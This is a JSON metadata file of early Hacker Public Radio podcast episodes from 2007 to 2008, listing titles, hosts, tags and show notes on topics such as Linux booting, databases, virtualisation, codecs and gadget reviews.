[ {"id":1,"date":"2007-12-31","title":"Introduction to HPR","duration":1373,"summary":"In this first ever show on Hacker Public Radio, StankDawg and Enigma introduce HPR.","notes":"

\nIn this first ever show on Hacker Public Radio, StankDawg and Enigma introduce HPR.\n

\n

\nThe story of Hacker Public Radio begins where Radio FreeK America leaves off. StankDawg was a busy with Binary Revolution Radio and so the idea lay dormant for some time. Then droops, another podcaster (Infonomicon) who was inspired by RFA got together with dosman to start TWaTech Today with a Techie, a pun on Twit. About a year in Enigma took over operations from portrello.\n

\n

\nContinuing on from Today with a Techie, HPR will air anything that is Of interest to hackers. Think, hacking, phone preaking, politics, survival, caffeine, linux, movie reviews, game reviews, etc. There is no restriction on the length but the shows will have the intro and outro added, which was kindly donated by slick0. Additionally there is the option to have miniseries where the hosts can have running topics to cover an issue in more detail. A mini series can also be open to so that multiple people can contribute to one topic.\n

\n

\nAbove all HPR is a Community Network.\n

\n","hostid":55,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hpr, twat, community","version":0,"downloads":4737,"valid":1}, {"id":2,"date":"2008-01-01","title":"Customization the Lost Reason","duration":1534,"summary":"deepgeek talks about Customization being the lost reason in switching from windows to linux","notes":"

Today deepgeek talks about Customization being the lost reason in switching from windows to Linux. He points out that the PC stands for Personal Computer. To many on windows this means they can change the desktop wallpaper.

\n

He believes that by explaining the ability to Customise the working environment is the power of Linux. You can customise the services running, whether you wish to use a command line interface, a basic Window Manager, or a Lightweight or Full Featured Desktop Environment

\n

Finally he ends with a tribute to Seymour Cray

\n","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux, Desktop Environment, Window Manager, Seymour Cray","version":0,"downloads":1551,"valid":1}, {"id":3,"date":"2008-01-02","title":"Lost Haycon Audio","duration":2850,"summary":"Morgellon and others traipse around in the woods geocaching at midnight","notes":"

\nIt's 12:10AM on the 10th of November 2007 and Morgellon, droops and phyboy are at Haycon, one of the first Unconferences. The conversations turns to Geocaching, and so armed with laptop, flash light (and possibly beer) our intrepid explorers head off to do a night time run. Here the way is marked by reflectors that are difficult to see in day time.

\n

\nAlong the way we hear crickets, tales of wolves, forgotten roads, civil war destruction, abandoned cemeteries and how karma came to one real estate developer.\n

","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"haycon, Unconference, Geocaching ","version":0,"downloads":1410,"valid":1}, {"id":4,"date":"2008-01-03","title":"Firefox Profiles","duration":415,"summary":"Peter explains how to move firefox profiles from machine to machine ","notes":"

\nPeter explains how to move firefox profiles from machine to machine even between OSX, Windows and Linux. The biggest issue is actually locating the profile and this is covered in the following article.
\nhttps://kb.mozillazine.org/Profile_folder_-_Firefox\n

","hostid":74,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"firefox, profiles, osx, windows, linux","version":0,"downloads":1524,"valid":1}, {"id":5,"date":"2008-01-06","title":"Database 101 Part 1","duration":1064,"summary":"1st part of the Database 101 series with Stankdawg","notes":"

\n1st part of the Database 101 series with Stankdawg. He defines data as a collection of facts from which conclusions may be drawn while information is the application of data. While a database is a collection of data, regardless of whether it is a text file, spreadsheet etc.\n

\n

\nThe larger the amount of data the slower text, and spreadsheets get. This is where a database management system comes in. A common database type is a Relational Database like Oracle, Microsoft SQL, PostgreSQL or MYSQL
\nhttps://en.wikipedia.org/wiki/Relational_database\n

\n","hostid":55,"series":4,"explicit":0,"license":"CC-BY-NC-SA","tags":"introduction, Relational Database","version":0,"downloads":2144,"valid":1}, {"id":6,"date":"2008-01-08","title":"Part 15 Broadcasting","duration":2155,"summary":"dosman and zach from the packetsniffers talk about Part 15 Broadcasting which is low power ","notes":"dosman and zach from the packetsniffers talk about Part 15 Broadcasting which is low power broadcasting for the local area. Used to do community radio around an event, a church, concerts etc. They discuss what the regulations are in the US, what you need, how to get started, what things to consider. All in all great introduction to the topic.\n

\n

links

\n\n","hostid":3,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Part 15, HAM, soldering, fcc, radio","version":0,"downloads":1344,"valid":1}, {"id":7,"date":"2008-01-09","title":"Orwell Rolled over in his grave","duration":530,"summary":"deepgeek reviews the film \"Orwell Rolls in His Grave\"","notes":"

\nIn today's show deepgeek reviews the film \"Orwell Rolls in His Grave\" which according to wikipedia is:\n

\n\n
\nOrwell Rolls in His Grave is a 2003 documentary film written and directed by Robert Kane Pappas. Covered topics include the Telecommunications Act of 1996, concentration of media ownership, political corruption, Federal Communications Commission (FCC), the controversy over the US presidential election of 2000 (particularly in Florida with Bush v. Gore), and the October surprise conspiracy theory.\n
\n","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"film review, corruption","version":0,"downloads":2071,"valid":1}, {"id":8,"date":"2008-01-10","title":"Asus EeePC","duration":1688,"summary":"Mubix and Redanthrax discuss the EEEpc","notes":"

\nMubix and Redanthrax discuss the EEpc where they discuss prices and configurations available at the time. They discuss the reliability os solidstate drives and mention that there are no moving parts.
\nhttps://en.wikipedia.org/wiki/Asus_Eee_PC\n

\n
\nThe Asus Eee PC is a netbook computer line from ASUSTeK Computer Incorporated, and a part of the Asus Eee product family. At the time of its introduction in late 2007, it was noted for its combination of a lightweight, Linux-based operating system, solid-state drive (SSD), and relatively low cost. Newer models added the options of Microsoft Windows operating system, rotating media hard disk drives (HDD) and initially retailed for up to 500 euro.
\nThe first Eee PC was a milestone in the personal computer business, launching the netbook category of small, low cost laptops in the West (in Japan, subnotebooks had long been a staple in computing). According to Asus, the name Eee derives from \"the three Es\", an abbreviation of its advertising slogan for the device: \"Easy to learn, Easy to work, Easy to play\".
\nIn January 2013, Asus officially ended production of their Eee PC series due to declining sales as a result of consumers favoring tablets and Ultrabooks over netbooks. However they subsequently restarted the line with the release of the 1015 series.\n
\n

\nThey also review backtrack:
\nhttps://en.wikipedia.org/wiki/BackTrack\n

\n
\nBackTrack was a Linux distribution, superseded by Kali Linux, that focused on security based on the Ubuntu Linux distribution aimed at digital forensics and penetration testing use. In March 2013, the Offensive Security team rebuilt BackTrack around the Debian distribution and released it under the name Kali Linux.\n
\n\n ","hostid":62,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"eeepc, backtrack","version":0,"downloads":4317,"valid":1}, {"id":9,"date":"2008-01-10","title":"This old Hack 4","duration":2547,"summary":"Fixing a leak in a pressure based water well and making a Didgeridoo.","notes":"

\nContinuing the TWaT series, we go outside and get some background to water wells with pressure tanks and pressure switches. Also making a Didgeridoo
\nhttps://www.wikihow.com/Make-a-Didgeridoo-out-of-PVC-Pipe\n

\n","hostid":75,"series":5,"explicit":1,"license":"CC-BY-NC-SA","tags":"water well, pressure tank, pressure switch, Didgeridoo, hardware","version":0,"downloads":3535,"valid":1}, {"id":10,"date":"2008-01-13","title":"The Linux Boot Process Part 1","duration":1504,"summary":"An introduction to Linux Boot looking at the differences between SystemV and BSD style systems","notes":"Linux Boot Process - Part I\nSystemV vs BSD Style Scripts\n\nIn part one of the Linux Boot Series we take a top level look at the Linux boot process and discuss some of the differences between SystemV based systems and BSD style systems.
\n I focus on RedHat, Slackware, Ubuntu (Debian) and Arch Linux. Below are some resources for further information.
\n\nRedhat - RHL 9 boot - shutdown process
\nSlackware Boot Process
\nDebian Boot Process
\nBasic overview of SystemV vs BSD Systems
\nIBM developer works book - Linux Boot Process
\n\nGentoo Handbook for x86
- It's hard to specify one chapter because Gentoo's documentation is top notch and very informative. Review the installation and initscripts chapters in particular.\n\n","hostid":7,"series":6,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux, boot, systemv, bsd, init","version":0,"downloads":4606,"valid":1}, {"id":11,"date":"2008-01-14","title":"dd_rhelp","duration":520,"summary":"Using dd_rescue to rescue data from a hard-disk with bad sectors","notes":" https://del.icio.us/operat0r/dd_rescue \n
","hostid":36,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"dd_rescue,dd_rhelp,backup,clone,image,rescue","version":0,"downloads":4033,"valid":1}, {"id":12,"date":"2008-01-16","title":"Xen","duration":1120,"summary":"An overview of virtualisation with Xen","notes":"https://www.cl.cam.ac.uk/research/srg/netos/papers/2003-xensosp.pdf \n
\nhttps://xen.org/\n
\n https://xensource.org/ \n
\n https://www.howtoforge.com \n
\ndebian_etch_xen_from_debian_repository\n\n","hostid":48,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"VMware,virtualisation,hypervisor","version":0,"downloads":2645,"valid":1}, {"id":13,"date":"2008-01-17","title":"LPI Certifications Part 1","duration":960,"summary":"Ken Fallon is preparing for his 'Linux Professional Institute Certification' (LPIC)","notes":"Ken Fallon, wants his 'Linux Professional Institute Certification' (LPIC). He must be serious, because he's publicly preparing for it on HPR – no pressure, Ken. In this first episode of the series, he explains the certification process, sets up his practice system, and begins covering study material, for the 101 exam. He's using a detailed study guide, provided by IBM developerWorks.
\n\n IBM Developer Works: (LPI) exam prep
\n\n \nThe Booting Process of the PC
\n\nSystem Boot Sequence
\nhttps://www.pcguide.com/ref/mbsys/bios/boot_Sequence.htm
\n https://en.wikipedia.org/wiki/Booting
\n https://en.wikipedia.org/wiki/Bootstrapping_%28computing%29
\n\n\n----------------------------------------------
\nOther Links:
\n----------------------------------------------
\nLPI Certification Self-Study Guide
\nhttps://www.happy-monkey.net/LPI/
\n\nWiki Book: LPI Certification
\nhttps://en.wikibooks.org/wiki/LPI_Linux_Certification
\n\n----------------------------------------------
\nSoftware:
\n----------------------------------------------
\nVmware Server
\n https://www.vmware.com/download/server/VMware-server-1.0.4-56528.tar.gz
\n\nCentOS
\n https://isoredirect.centos.org/centos/5/isos/i386/CentOS-5.1-i386-netinstall.iso
\nSelect FTP Site from mirror list
\nhttps://www.centos.org/modules/tinycontent/index.php?id=13\n./5.1/os/i386/
\nE.g for ftp location:
\nftp.tudelft.nl
\npub/Linux/centos.org/5.1/os/i386/images\n
\nDebian Netinstall
\n https://cdimage.debian.org/debian-cd/4.0_r1/i386/iso-cd/debian-40r1-i386-netinst.iso
\n\n----------------------------------------------
\nOnline Assesment
\n----------------------------------------------
\nhttps://www.redhat.com/apps/training/assess/ \n
\nhttps://www.linux-praxis.de/lpisim/lpi101sim/index.html
\n
\nShownotes by: diggsit\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux Professional Institute Certification,LPIC","version":0,"downloads":3844,"valid":1}, {"id":14,"date":"2008-01-18","title":"Databases 101 Part 2","duration":1569,"summary":"Part 2 of Database 101 with Stankdawg","notes":"

RDBMS - Relational Database Management System

\n\n

Relational Model: when there are relationships between items of\ndata such as products, customers and orders

\n\n

A database contains two-dimensional tables which are similar in\nconcept to spreadsheets. Each table contains columns and rows like\na spreadsheet, but these are called fields and records in\ndatabase terminology

\n\n

Data is stored in tables but is broken down into the most efficient form\nsuch that there is no duplication. This process is called\nnormalisation.

\n\n

Fields have data types associated with them, such as numeric fields for\nstoring numbers or text fields for storing text.

\n\n

Tables have keys to simplify searching. Primary keys are\nused to make records in a table unique.

\n\n

Shownotes by: Dave Morriss, 2015-08-14

\n","hostid":55,"series":4,"explicit":1,"license":"CC-BY-NC-SA","tags":"RDBMS,table,normalisation,field,record,key,primary key","version":0,"downloads":2394,"valid":1}, {"id":15,"date":"2008-01-20","title":"Spring Cleaning","duration":275,"summary":"In spring cleaning, Plexi discusses the personal information contained in trash","notes":"“Too much information”, that's what Plexi, finds on old papers and receipts. \n
\nShownotes by: diggsit","hostid":57,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"security,personal information,rubbish,trash","version":0,"downloads":1575,"valid":1}, {"id":16,"date":"2008-01-22","title":"Benefits of Virtualization","duration":1120,"summary":"Why you would want to use, and the benefits of virtual machines","notes":"\n\nVirtual Machines Part 1. Deepgeek, defines 'Virtual Machine', and gives examples of when it's advantageous to use one. The docdropper companion article can be found at the following address:
\nhttps://www.docdroppers.org/wiki/index.php?title=Benefits_of_Virtual_Machines
\n \nhttps://en.wikipedia.org/wiki/Donald_Knuth
\n
\nShownotes by: diggsit","hostid":73,"series":8,"explicit":1,"license":"CC-BY-NC-SA","tags":"virtualization, virtual machines, introduction, simulation, software, knuth","version":0,"downloads":1578,"valid":1}, {"id":17,"date":"2008-01-22","title":"Torrentflux","duration":403,"summary":"torrentflux is an open-source web-based gui front-end for bit-tornado. Features and install info.","notes":"Enigma, shares how TorrentFlux helps him manage bit torrent traffic on his LAMP server. There's lots of features in this web-based, Open Source system.
\n https://www.torrentflux.com/
\n
\nShownotes by: diggsit\n","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"torrentflux,torrent,linux,apache,mysql,multi-user,php,server,LAMP,web-based,open-source","version":0,"downloads":1321,"valid":1}, {"id":18,"date":"2008-01-24","title":"An Interview with Ed Piskor","duration":3547,"summary":"An Interview with Ed Piskor","notes":"An interview with Ed Piskor, writer and artist of the graphic novel \"WIZZYWIG\" which is about a young hacker growing up in the 1980s. He also talks about some of the influences and stories that helped shape the book.","hostid":55,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"graphic novel,fiction,book review,interview,phreak,hacker,Mitnick,Poulsen,joybubbles","version":0,"downloads":2997,"valid":1}, {"id":19,"date":"2008-01-24","title":"SILC","duration":487,"summary":"The Secure Internet Live Conferencing protocol.","notes":"Alk3, deciphers the “Secure Internet Live Conferencing” (SILC), protocol and project. You, can synchronously communicate in secrecy, with Open Source, SILC.
\n\n https://silcnet.org/
\n SLIC Wikipedia article
\n
\nShownotes by: diggsit\n","hostid":64,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"SILC protocol,SILC SDK,pidgin,irssi,irc,thread-safe,plugin,decentralized,scalable","version":0,"downloads":4750,"valid":1}, {"id":20,"date":"2008-01-27","title":"lighttpd","duration":661,"summary":"Introduction to lighttpd, aka \"light-tee\", and compare to Apache: configuration, features.","notes":"Looking for a nimble and secure web server? Chess Griffin, suggests you look into the LIGHTTPD (Light-tee). He uses it, and in this episode he illuminates the reasons you may want to, too.\n\n https://www.lighttpd.net/
\n
\n
\nShownotes by: diggsit","hostid":76,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"web server,lighttpd,apache","version":0,"downloads":1473,"valid":1}, {"id":21,"date":"2008-01-28","title":"The Festival Speech Synthesis System","duration":1814,"summary":"Intro to festival text-to-speech, related tools; synthesized voices; peek into host's personal life.","notes":"Dave Yates, and his co-host Lynn, demonstrate the voice synthesis package, Festival. Dave, discusses how he employs Festival, along with other packages to extend its capabilities. Lynn, clears-up a few of the finer points, for Dave.
\n
\nHowto use alsa output;
\nHMM-based Speech Synthesis System (HTS) - Release Archive or where to get CMU_US_SLT_ARTIC_HTS voice for festival ver 1.4.3;
\nOnline voice demos;
\nYet another online voice demo site;
\n\nLinux Gazette article on festival;
\nHackosis festival article;
\nFestival ver 1.4.3 manual;
\nArticle with info on how to change default voice;
\nPerlbox Voice is an voice enabled application to bring your desktop under your command;
\nMini linux tts howto; an older document with some still useful information;
\nHow to Make Your Instant Messenger Talk in Ubuntu Linux;
\nAnother good festival article;
\nGentoo forum:Festival tips: more understandable and books to audiobooks;
\nFesttival MBROLA info; and
\nMBROLA binary and voices\n\n
\n
\nShownotes by diggsit","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"festival,speech generation,text to speech,synthesized voices","version":0,"downloads":7988,"valid":1}, {"id":22,"date":"2008-01-30","title":"Chunk Parsing ","duration":325,"summary":"A description of 'chunk parsing' and the development work being undertaken","notes":"Getting a machine to parse natural human language, can't be easy. Plexi, describes 'Chunk Parsing', and the work being done to develop it.
\nReferences and further readings:
\n https://www-tsujii.is.s.u-tokyo.ac.jp/~tsuruoka/papers/IWPT05-tsuruoka.pdf
\n https://www.ai.uga.edu/mc/ProNTo/Brooks.pdf
\n Steven Bird Chunking.pdf
\n
\nShownotes by: diggsit","hostid":57,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"language,lexicon,parsing,development","version":0,"downloads":1484,"valid":1}, {"id":23,"date":"2008-01-31","title":"Software Review: K e e P a s s ","duration":769,"summary":"StankDawg talks about KeePass, a nice way to manage your passwords in a portable and secure way","notes":"Wouldn't be nice to have a secure and flexible way to manage all of your usernames and passwords? StankDawg, suggests you turn to K e e P a s s. Strong encryption, dual-factor authentication, and portability, are just some of the reasons he likes this Open Source package.
\nlink removed to prevent spammers\n
\nShownotes by: diggsit","hostid":55,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"passwords,usernames,strong encryption,portability,dual-factor authentication","version":0,"downloads":4142,"valid":1}, {"id":24,"date":"2008-02-01","title":"An interview with Jonathan Bartlett","duration":1547,"summary":"An interview with Jonathan Bartlett","notes":"Deepgeek, gets the low-down on the amazing Cell BE processor that runs on the PlayStation 3. Author, instructor, and developer, Jonathan Bartlett, explains how the chip's unique architecture (how many cores?!), makes it a multimedia master.
\n Jonathan Bartlett's ibm.com developer works\narticles.
\n
\nShownotes by: diggsit","hostid":73,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"PS3,multi-core,\"assembly language\",\"cell processor\",hardware,linux,multimedia,cryptography,\"scientific computing\",interviews,deepgeek,author,\"Tulsa, Oklahoma\"","version":0,"downloads":2354,"valid":1}, {"id":25,"date":"2008-02-03","title":"Social Network Aggregation","duration":2220,"summary":"openid explanation and social network feed aggregation howto","notes":"Peter and Harlem, have waded chest-high into the social networking sea. Before rescue is needed, they share how to unify profiles, feeds, and authentication, for many popular sites. The OpenID project is well explained, here.
\nLinks discussed in this episode:\n\n\n
\n
\nShownotes by: diggsit","hostid":74,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"openid,twitter,twitterfeed,pownce,jaiku,wordpress,\"web 2.0\",aggregator,rss,blog,publishing,\"distributed authentication\",authentication,\"social network\",howto,introduction","version":0,"downloads":1471,"valid":1}, {"id":26,"date":"2008-02-04","title":"Intro to codecs","duration":1150,"summary":"Understanding the basics of sound and video codecs, why they are needed and how they work.","notes":"In this first of a four-part series, Klaatu begins a discussion of free and non-free video codecs. Specifically, why they are needed and how they work.\n
\n
\nShownotes by: diggsit\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"codec, video, sound, music, compression, decompression, transcoding","version":0,"downloads":1972,"valid":1}, {"id":27,"date":"2008-02-05","title":"How to Record a HPR episode","duration":363,"summary":"Using Audacity to record an HPR episode","notes":"Have something to say, on HPR? Enigma, unwraps the riddle of recording an episode. If you've got a computer, a microphone, and are on the tubes, you're well on your way.
\n https://audacity.sourceforge.net/
\n HPR Theme
\n\n
\nShownotes by: diggsit\n","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,recording,audacity","version":0,"downloads":1343,"valid":1}, {"id":28,"date":"2008-02-06","title":"Project Chanology","duration":500,"summary":"A quick, neutral intro to the conflict between Anonymous and Scientology","notes":"Project Chanology (Anonymous vs. Scientology).
Important details \nmissing from a majority of reports on the story
are brought up front to\nthose unaware.
\n\nCommon 'anonymous' forums:
\n https://www.4chan.org
\n https://www.encyclopediadramatica.com/Talk:PROJECT_CHANOLOGY
\n https://partyvan.info/index.php/Project_Chanology
\n\nLinks with information on Scientology:
\n https://www.scientology.org
\n https://www.xenu.net
\n https://www.xenutv.com
","hostid":42,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"slick0,\"project chanology\",scientology,anonymous,explainer,backgrounder,ddos","version":0,"downloads":2098,"valid":1}, {"id":29,"date":"2008-02-07","title":"Codecs Part 2","duration":1135,"summary":"The technique of video compression, the variables involved, file size and delivery method.","notes":"Klaatu continues his four-part series. This episode focuses on the technique of video compression. He explains the variables involved, and how they relate to file size and delivery method.\n
\n
\nShownotes by: diggsit","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"codec, compression, video, frames, frame-rate, bit-rate","version":0,"downloads":1416,"valid":1}, {"id":30,"date":"2008-02-10","title":"Network Backups","duration":836,"summary":"Overview of some free software backup solutions. Specifics of dosman's solution, with autochanger.","notes":"Network Backups – how hard can it be? Dosman, gives an overview of some free software, backup solutions. He, then describes his home network, backup project. There's an autochanger involved, so he's got some hackin' to do.
\n\n SCSI Generic Driver (SG)
\n MTX tape library tools
\n Amanda
\n Bacula
\n
\nShownotes by: diggsit","hostid":3,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"backups,amanda,bacula,\"tape changer\",\"tape robot\",\"incremental backup\",\"full backup\",linux,\"fedora 5\",\"centos 5\",SCSI","version":0,"downloads":1439,"valid":1}, {"id":31,"date":"2008-02-11","title":"Intel Virtualization Technology","duration":560,"summary":"Quick intro to hardware virtualization support on Intel chips","notes":"Mirovengi, reports on an IEEE.org article that details Intel's VT technology. The advantage of bringing virtualization down to the hardware level, is discussed.
\n https://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=1430631
\n
\nShownotes by: diggsit","hostid":48,"series":8,"explicit":1,"license":"CC-BY-NC-SA","tags":"virtualization,intel","version":0,"downloads":2203,"valid":1}, {"id":32,"date":"2008-02-13","title":"UCLUG - Ken Wehr Presentation","duration":5868,"summary":"Ken Wehr speaks to the Upstate Carolina Linux Users Group","notes":"Google employee Ken Wehr speaks to the Upstate Carolina Linux Users Group.
","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Talk,\"Linux user group\"","version":0,"downloads":1682,"valid":1}, {"id":33,"date":"2008-02-14","title":"Linux Boot Process Part 2a - LILO","duration":1943,"summary":"Dann talks about the linux boot process","notes":"LILO = Linux Loader\n\nI discuss the ins-and-outs of LILO, hot it is configured and how it is initialized and what to do when it screws up. This is part 2a in my Linux Start Process series. Be on the look out for 2b discussing GRUB very soon.
\n\nLinks:
\n\nLilo Mini-Howto
\nLILO Wikipedia Page
\nLILO home page
","hostid":7,"series":6,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,\"Linux Boot process\",Talk,series","version":0,"downloads":1865,"valid":1}, {"id":34,"date":"2008-02-15","title":"Cowon D2 Review","duration":848,"summary":"Chess Griffin's talks about his Cowon D2, portable media player.","notes":"Chess Griffin's, got a Cowon D2, portable media player. He likes it. He likes it a lot. When he gets done reviewing all its features, you're going to want one, too. Linux and BSD users, this may be the device you've been searching for.\n
\nCowon D2 Product Page
\n
\nShownotes by: diggsit\n","hostid":76,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Cowon D2\",Linux,BSD,\"Media Player\"","version":0,"downloads":2217,"valid":1}, {"id":35,"date":"2008-02-18","title":"An interview with John Whaley","duration":1240,"summary":"droops interviews John Whaley from Moka5","notes":"

\ndroops interviews John Whaley from Moka5.\n

\n

\nJohn Whaley is responsible for the technical vision of Moka5. He holds a doctorate in computer science from Stanford University, where he made key contributions to the fields of program analysis, compilers, and virtual machines. He is the winner of numerous awards including the Arthur L. Samuel Thesis Award for Best Thesis at Stanford, and has worked at IBM’s T.J. Watson Research Center and Tokyo Research Lab. John was named one of the top 15 programmers in the USA Computing Olympiad. He also holds bachelor’s and master’s degrees in computer science from MIT and speaks fluent Japanese.\n

","hostid":1,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"Moka5,interview,\"computer science\"","version":0,"downloads":1943,"valid":1}, {"id":36,"date":"2008-02-19","title":"LPI Certifications Part 2","duration":1914,"summary":"Ken covers computer buses and system resources","notes":"Continuing his journey toward LPI certification, Ken covers computer buses and system resources. Please note, there is a minute and a half, gap in this recording – your player's battery didn't die.
\n\n https://computer.howstuffworks.com/pci.htm/printable
\n
\nShownotes by: diggsit","hostid":30,"series":7,"explicit":1,"license":"CC-BY-NC-SA","tags":"LPI,bus,\"System Bus\",\"PCI Bus\"","version":0,"downloads":2036,"valid":1}, {"id":37,"date":"2008-02-19","title":"This Old Hack Part 5","duration":2411,"summary":"In this editon of this old hack fawkesfyre builds a shmooball cannon","notes":"In this editon of this old hack fawkesfyre builds a shmooball cannon
\n
\n\n Video demo
\n","hostid":75,"series":5,"explicit":1,"license":"CC-BY-NC-SA","tags":"series,Making,building","version":0,"downloads":1748,"valid":1}, {"id":38,"date":"2008-02-20","title":"R4DS Review","duration":982,"summary":"Stankdawg reviews the R4DS adapter for the Nintendo DS","notes":"Stankdawg reviews the R4DS adapter for the Nintendo DS ","hostid":55,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Gaming,\"Nintendo DS\",\"Games consoles\",Adapters","version":0,"downloads":1487,"valid":1}, {"id":39,"date":"2008-02-22","title":"Debian Live CD","duration":747,"summary":"Information on Debian Live CD's and a small framework to build them.","notes":"Information on Debian Live CD's and a small framework to build them.
\n\nDebian Live:
\n https://debian-live.alioth.debian.org/
\n https://wiki.debian.org/DebianLive/
\n https://live.debian.net/cdimage/
\n\n DFS Live CD
\n Video of live-helper
","hostid":64,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Debian,LiveCD,\"How to\",\"linux iso's\"","version":0,"downloads":1497,"valid":1}, {"id":40,"date":"2008-02-24","title":"Sys internals Part 1","duration":514,"summary":"an introduction to the sys internals suite","notes":"an introduction to the sys internals suite","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Microsoft, sys internal suite","version":0,"downloads":2218,"valid":1}, {"id":41,"date":"2008-02-26","title":"Codecs Part 3","duration":1004,"summary":"Containers (such as .avi) and codecs are different. Klaatu explains the details.","notes":"Codecs aren't containers. Klaatu explains the difference. He also presents some legal and technical factors to consider when choosing a codec.\n
\n
\nShownotes by: diggsit","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"codec, video, containers, legal, vlc, avi, mpeg, xvid","version":0,"downloads":2358,"valid":1}, {"id":42,"date":"2008-02-26","title":"Zune Review","duration":472,"summary":"Enigma reviews the Zune mp3 player","notes":"Enigma reviews the Zune mp3 player
","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"MP3,\"Media Player\",Review","version":0,"downloads":1300,"valid":1}, {"id":43,"date":"2008-02-27","title":"Docdroppers","duration":345,"summary":"W3lshrarebit, introduces Docdroppers.org ; a resource for the hacking community","notes":"W3lshrarebit, introduces Docdroppers.org ; a resource for the hacking community. Search and submit hacker articles, at DocDroppers. \n
\n
\nShownotes by: diggsit\n","hostid":80,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Hacking,community","version":0,"downloads":1257,"valid":1}, {"id":44,"date":"2008-02-28","title":"My desktop, and the apps I use everyday","duration":1470,"summary":"A show about my desktop, and the apps I use everyday","notes":"blosxom;
\nemelfm2;
\nopenssh;
\nsshfs;
\nfuse;
\nfish protocol;
\nstormsiren;
\nfluxbox;
\nnuevat3k-glacier fluxbox theme;
\nscreen;
\ngkrellm;
\ngkrellkam;
\nfirefox;
\ntab mix plus;
\ngoogle notebook;
\nkonqueror;
\nvim;
\nlistgarden;
\naudacity;
\neasytag;
\nmusic player daemon;
\ngftp; and
\nxchat.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Applications,\"Daily used software\",Audio,Linux","version":0,"downloads":2460,"valid":1}, {"id":45,"date":"2008-03-03","title":"Shell Scripting","duration":719,"summary":"An overview of shell scripting","notes":"Dosman, gets the daily gas price report read to him by his computer. Why? - because he can. He knows shell scripting, and can manipulate commands to get things done. Here, he discusses shell scripts, and how he uses them to automate tasks on his computers. \n
\n
\nShownotes by: diggsit","hostid":3,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"shell,scripts,scripting,perl,sed,awk","version":0,"downloads":2072,"valid":1}, {"id":46,"date":"2008-03-03","title":"Yahoo Pipes","duration":2023,"summary":"A show about Yahoo Pipes","notes":"The companion screencast for this show can be found \nhere and
\n\nhere.
\nLinks referenced in this show:\n","hostid":74,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Yahoo,\"Yahoo pipes\",Ubuntu,Linux","version":0,"downloads":2323,"valid":1}, {"id":47,"date":"2008-03-05","title":"Sys Internals Part 2","duration":2272,"summary":"Sys Internals Part 2 a follow up to hpr0040","notes":"part 2 of the sys internals series with Xoke","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Microsoft, sys internal suite","version":0,"downloads":2173,"valid":1}, {"id":48,"date":"2008-03-06","title":"Virtualization Part 2: Qemu quickstart","duration":926,"summary":"A QEMU getting started guide from deepgeek using Knoppix and FreeBSD","notes":"\nThe commands:
\n===================================
\nqemu -soundhw es1370 -cdrom knoppix-std-0.1.iso
\ntar -xvf freebsd6.1rel.qcow.img20060526.tar
\ncd freebsd6.1rel.qcow.img
\nqemu-img info freebsd6.1rel.qcow.img
\ncat README
\nqemu freebsd6.1rel.qcow.img
\n
\n\nThe Links:
\n==================================
\n https://fabrice.bellard.free.fr/qemu/
\n https://www.oszoo.org/wiki/index.php/Category:OS_images
\n https://www.knoppix-std.org/download.html
","hostid":73,"series":8,"explicit":1,"license":"CC-BY-NC-SA","tags":"qemu,virtualization, virtual machines, tutorial, Knoppix, FreeBSD","version":0,"downloads":1573,"valid":1}, {"id":49,"date":"2008-03-07","title":"XPlane","duration":641,"summary":"Introduction and quick start for using XPlane, version 7.","notes":"Operat0r, is on approach at KLAX, runway 07R. Will he make it? - maybe not. He can crash and live to tell the tale with his X-Plane flight simulator. X-Plane is a proprietary, multi-platform, flight simulation program. While, he's no flight instructor, Operat0r's got a 'system' for landing X-Planes.
\n https://x-plane.com
\n https://www.atcmonitor.com
\n https://stoenworks.com/Aviation%20home%20page.html
\n \nhttps://xplane.org/
\n
